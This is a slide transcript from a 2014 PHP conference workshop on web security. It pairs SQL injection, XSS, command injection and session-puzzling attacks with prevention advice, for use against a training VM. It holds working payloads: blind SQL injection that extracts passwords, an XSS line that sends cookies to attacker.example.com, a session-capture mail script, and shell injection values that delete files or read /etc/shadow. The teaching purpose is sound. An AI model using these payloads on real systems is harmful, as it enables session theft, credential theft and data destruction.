hacking sites for fun and profit

69
Hacking Sites for Fun and Profit php|tek 2014 David Stockton

Upload: david-stockton

Post on 18-Jun-2015

1.292 views

Category:

Technology


4 download

DESCRIPTION

Slides from May 20, 2014 talk at PHP Tek on hacking sites. Examples of potential vulnerabilities and how to prevent them.

TRANSCRIPT

Page 1: Hacking sites for fun and profit

Hacking Sites for Fun and Profit

php|tek 2014

David Stockton

Page 2: Hacking sites for fun and profit

or How to Hack Websites and Prevent Your Site from Being

Hacked

Page 3: Hacking sites for fun and profit

What this is for• Learn how common exploits are

done and how to identify code that is vulnerable

• Learn how to fix code that is susceptible to these attacks

• Learn how to attack your own code and your own sites so you can fix them

Page 4: Hacking sites for fun and profit

What this is not for• Hacking or attacking sites

that you do not have permission to attack !

• If you don’t have permission, don’t do it.

Page 5: Hacking sites for fun and profit

The Code

• The code I am showing you is similar to real code I’ve seen in real projects, but it was written specifically for this presentation.

Page 6: Hacking sites for fun and profit

Gouda Times

• Provided on the VM is a hackable site - The Gouda Times cheese shop and social cheese site

Page 7: Hacking sites for fun and profit

What you need• Virtualbox 4.3

• The VM

• A browser (preferably chrome but any works)

• Something to send HTTP requests to the server on the VM

Page 8: Hacking sites for fun and profit

Getting Started• Copy the contents of the thumb drive -

• There are 4 files:

• Virtualbox for Mac and Windows

• The VM

• An image

Page 9: Hacking sites for fun and profit

Import the VM• Start the VM in virtual box and log into the console (vagrant /

vagrant)

• ifconfig -a

• Find eth*

• Edit /etc/sysconfig/network-scripts/ifcfg-eth1

• Change DEVICE= to match eth* from above

• sudo service network restart

• mailcatcher —ip=0.0.0.0

Page 10: Hacking sites for fun and profit

One note about email

• On the VM is mailcatcher. It will catch any emails that the system or you cause to be sent. You can access it at http://hacksite.dev:1080/

Page 11: Hacking sites for fun and profit

To play fair• Don’t go on the VM after the initial set up.

However, all the code is there and if you really want to look, feel free:

• /vagrant_web

• Try to figure out some exploits without looking at the code first though

Page 12: Hacking sites for fun and profit

On your host• Ping 192.168.33.199

• ssh [email protected] (password vagrant)

• If this works, add a host entry (/etc/hosts or /windws/system32/driver/etc/hosts for hackingsite.dev to 192.168.33.199

Page 13: Hacking sites for fun and profit

Open your browser

Page 14: Hacking sites for fun and profit

Start hacking• There are loads and loads of vulnerabilities

• If you break the VM, just re-import and start again

• This is your VM on your computer. Anything destructive you do is on you. Be sure you’re in the VM before seeing if rm -rf /* works

Page 15: Hacking sites for fun and profit

A brief introduction to common exploits

• In case this is all completely new

Page 16: Hacking sites for fun and profit

Exploit 1:• SQL injection

!

• select * from users where username = '$_POST['username']';

Page 17: Hacking sites for fun and profit

SQL Injection• $_POST['username'] = “' OR 1=1; --;”;

!

!

• select * from users where username = '' OR 1=1; --;';

Page 18: Hacking sites for fun and profit

SQL Injection• $_GET

• $_POST

• $_REQUEST

!

• what else...

Page 19: Hacking sites for fun and profit

SQL Injection• $_COOKIE

!

• values from the database

!

• Some parts of $_SERVER

Page 20: Hacking sites for fun and profit

Errors can help attackers• Showing SQL errors can help attackers fix SQL injection

attempts

!

• Other errors can help in other ways (some show passwords)

!

• Turn off display_errors in production, but log errors always

Page 21: Hacking sites for fun and profit

Blind SQL injection• Make calls that take

varying amounts of time to run. Use the time to determine the answers to questions about the systems you are attacking.

Page 22: Hacking sites for fun and profit

Blind SQL injection

• http://news.org/news.php?id=5

• http://news.org/news.php?id=5 and 1=1

• http://news.org/news.php?id=5 and 1=2

Page 23: Hacking sites for fun and profit

Determine DB version

• news.php?id=5 and substring(@@version, 1,1)=5

Page 24: Hacking sites for fun and profit

Subselects?

• news.php?id=5 and (select 1) = 1

Page 25: Hacking sites for fun and profit

Access to other databases/tables

• news.php?id=12 and (select 1 from mysql.user limit 0,1) = 1

Page 26: Hacking sites for fun and profit

Guessing tables

• news.php?id=6 and (select 1 from users limit 0,1) =1

Page 27: Hacking sites for fun and profit

Guessing column names

• news.php?id=11 and (select substring(concat(1, password),1,1) from users limit 0,1)=1

Page 28: Hacking sites for fun and profit

Guessing data• news.php?id=4 and

ascii(substring((SELECT concat(username, 0x3a, password) from users limit 0,1),1,1))>80

!

• Increment to guess values letter by letter

Page 29: Hacking sites for fun and profit

Preventing SQL Injection

● mysql_real_escape_string

● Prepared statements

● Input validation and whitelists

Page 30: Hacking sites for fun and profit

Exploit 2:

• XSS

!

• Cross-site Scripting

Page 31: Hacking sites for fun and profit

What is it?

• User supplied code running in the browser

Page 32: Hacking sites for fun and profit

So? It’s their browser

• Yep, but it may not be their code.

Page 33: Hacking sites for fun and profit

So? It’s their browser

• It may not be your code, but it might call your code in a way you don’t want

Page 34: Hacking sites for fun and profit

XSS Code

<img src=”<?php echo $_POST[‘image’];?>”>

<.. javascript to open the print dialog ..>

Page 35: Hacking sites for fun and profit

So what?• What if we post code into

$_POST[‘image’]

!

● Steal session cookies ● Call Javascript APIs to cause actions

on the server (CSRF) ● Post forms as the user

Page 36: Hacking sites for fun and profit

The payload: $_POST[‘image’]

/images/add.gif"><script type="text/javascript">alert('xss!');</script><img src="

Page 37: Hacking sites for fun and profit

Ermahgerd er perperp.

Page 38: Hacking sites for fun and profit

Ooh, that’s soooo malicious, I’m totally shaking right now• Fine. How about this.

!

!

• image = /images/add.gif"><script type="text/javascript">document.write('<img src="http://attacker.example.com/session.php?' + document.cookie + '">'); </script><img src="

Page 39: Hacking sites for fun and profit

WTH did that do?

• Javascript ran FROM the site we’re attacking and it sent your site cookies to a script the attacker controls.

Page 40: Hacking sites for fun and profit

So you stole my cookie. So what?

• Here’s what. <?php $session = $_GET['PHPSESSID']; $body = 'Got session: ' . $session; mail('[email protected]', 'Session Captured', $body);

Page 41: Hacking sites for fun and profit

Oooh, you emailed my cookie... So...

Page 42: Hacking sites for fun and profit

Now it’s my turn...

Page 43: Hacking sites for fun and profit

Why this matters• Sites identify and authenticate

users with session.

• I have identified myself as you. I am now logged in as you and can do anything you can do on the site.

Page 44: Hacking sites for fun and profit

Ok, so I can steal my own session

• Here’s how to use it against someone.

Page 45: Hacking sites for fun and profit

The first part of the attack• Create an email to a link on the

attacking site that posts the code to the site under attack. Send the email to the victim.

!

• They click the link, you steal their session.

Page 46: Hacking sites for fun and profit

What else can I do?

• Cross Site Request Forgery (CSRF)

• Causing actions to happen on the user’s behalf

• Purchasing things, changing passwords, creating accounts, etc.

Page 47: Hacking sites for fun and profit

How to prevent?

• Escape output

• Whitelist URLs, domains, input

• Make the print page lookup and use image paths from a trusted source (database maybe?)

Page 48: Hacking sites for fun and profit

Prevent CSRF

• Use a CSRF token.

• Disallow requests that don’t contain the correct token.

Page 49: Hacking sites for fun and profit

Exploit prevention in general

• Filter input

• Escape output

• This works for SQL injection, XSS and more...

• in general

Page 50: Hacking sites for fun and profit

Exploit 3: Command injection

● shell_exec

● exec

● passthru

● system

● `some command`

Page 51: Hacking sites for fun and profit

PHP Web File Browser

• Supposed to allow viewing of files within the web directories

• $files = shell_exec(‘ls -al ’ . $_GET[‘dir’]);

Page 52: Hacking sites for fun and profit

What’s the danger?

• $_GET[‘dir’] = ‘.; rm -rf / *’;

• Or whatever.

• cat /etc/passwd; cat /etc/shadow

Page 53: Hacking sites for fun and profit

How to prevent?• If you must use user input in a command,

use escapeshellarg()

• $dir = escapeshellarg($_GET[‘dir’]);

• $files = shell_exec(‘ls -al ‘ . $dir);

• Validate that the input is allowed

Page 54: Hacking sites for fun and profit

Other types of injection● Code (eval)

● Regex

● Log

● LDAP

Page 55: Hacking sites for fun and profit

Other exploits● Authentication / Session management ● Information disclosure ● Sensitive data exposure ● File upload flaws ● Unchecked redirects ● Leftover debug code ● Session fixation ● Internal threats ● Privacy Violation (password in logs,

etc)

Page 56: Hacking sites for fun and profit

Mitigation• Validation on the client

• Reject invalid requests entirely, log intrusion attempt

• Principle of least privilege

• Filter input, escape output

Page 57: Hacking sites for fun and profit

One more exploit

• Session puzzling attack

• http://bit.ly/1eO7jPK

Page 58: Hacking sites for fun and profit

Session Puzzling

• Making requests to privileged and unprivileged pages in a particular order that can escalate privileges of the attacker

Page 59: Hacking sites for fun and profit

How it could work

• Page requiring authentication looks for ‘user’ in session to determine authentication

Page 60: Hacking sites for fun and profit

Session Puzzling

• Login -> forgot password page sends information via ‘user’ in session

Page 61: Hacking sites for fun and profit

Put it together

• Hit pages quickly in this order:

• Login -> forgot password / privileged page

• Privileged page sees ‘user’ and allows attacker in

Page 62: Hacking sites for fun and profit

How was this found?

• By accident, via web crawler getting access to privileged pages

Page 63: Hacking sites for fun and profit

Now what?

• Find as many exploits as possible in Gouda Times

• Be creative, you can use multiple exploits in a single creative hack

• Stuck for ideas?

Page 64: Hacking sites for fun and profit

Ideas• Trick the system to give up another user’s

password

• Log in to the system as another user without knowing their password

• Change guestbook entries

• Remove guestbook entries

Page 65: Hacking sites for fun and profit

More ideas• View nearly any file on the system

• Get your own code onto the system

• Find hidden functionality

• Exploit the site with an image

• Create more users than the system thinks you should have

• Social engineering - get someone to tell you a password

Page 66: Hacking sites for fun and profit

Time to get with the hacking

Page 67: Hacking sites for fun and profit

If you have questions or need help I’ll be around

• If you get a hack to work, let me know and you can share what you did and how

• If you want to try to fix it, the source is on the VM - show me your fix, I’ll try to break it

Page 68: Hacking sites for fun and profit

Want to hack more?

• http://www.badstore.net/

• http://google-gruyere.appspot.com/

• http://www.dvwa.co.uk/

Page 69: Hacking sites for fun and profit

Please rate this tutorial

• https://joind.in/10664